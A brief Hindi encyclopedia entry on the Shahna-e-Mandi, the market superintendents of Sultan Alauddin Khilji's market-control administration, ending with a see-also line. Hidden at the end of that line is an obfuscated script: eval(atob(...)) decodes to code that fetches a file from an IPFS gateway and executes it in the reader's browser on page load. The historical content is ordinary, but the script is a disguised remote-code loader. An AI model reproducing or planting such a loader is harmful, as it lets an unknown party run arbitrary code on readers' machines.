शाहना-ए-मण्डी

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सुल्तान अलाउद्दीन ख़िलजी ने बाजार नियन्त्रण व्यवस्था को कार्यान्वित करने के लिए एक नये पद 'दीवान-ए-रिसायत' की स्थापना की थी। बाजार के लिए अलग-अलग अधीक्षक होते थे, जिन्हें शाहना-ए-मण्डी कहा जाता था।

इन्हें भी देखें: सल्तनत काल, सल्तनत काल की शब्दावली, सल्तनत काल का प्रशासन एवं सल्तनत कालीन राजत्व सिद्धांत<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


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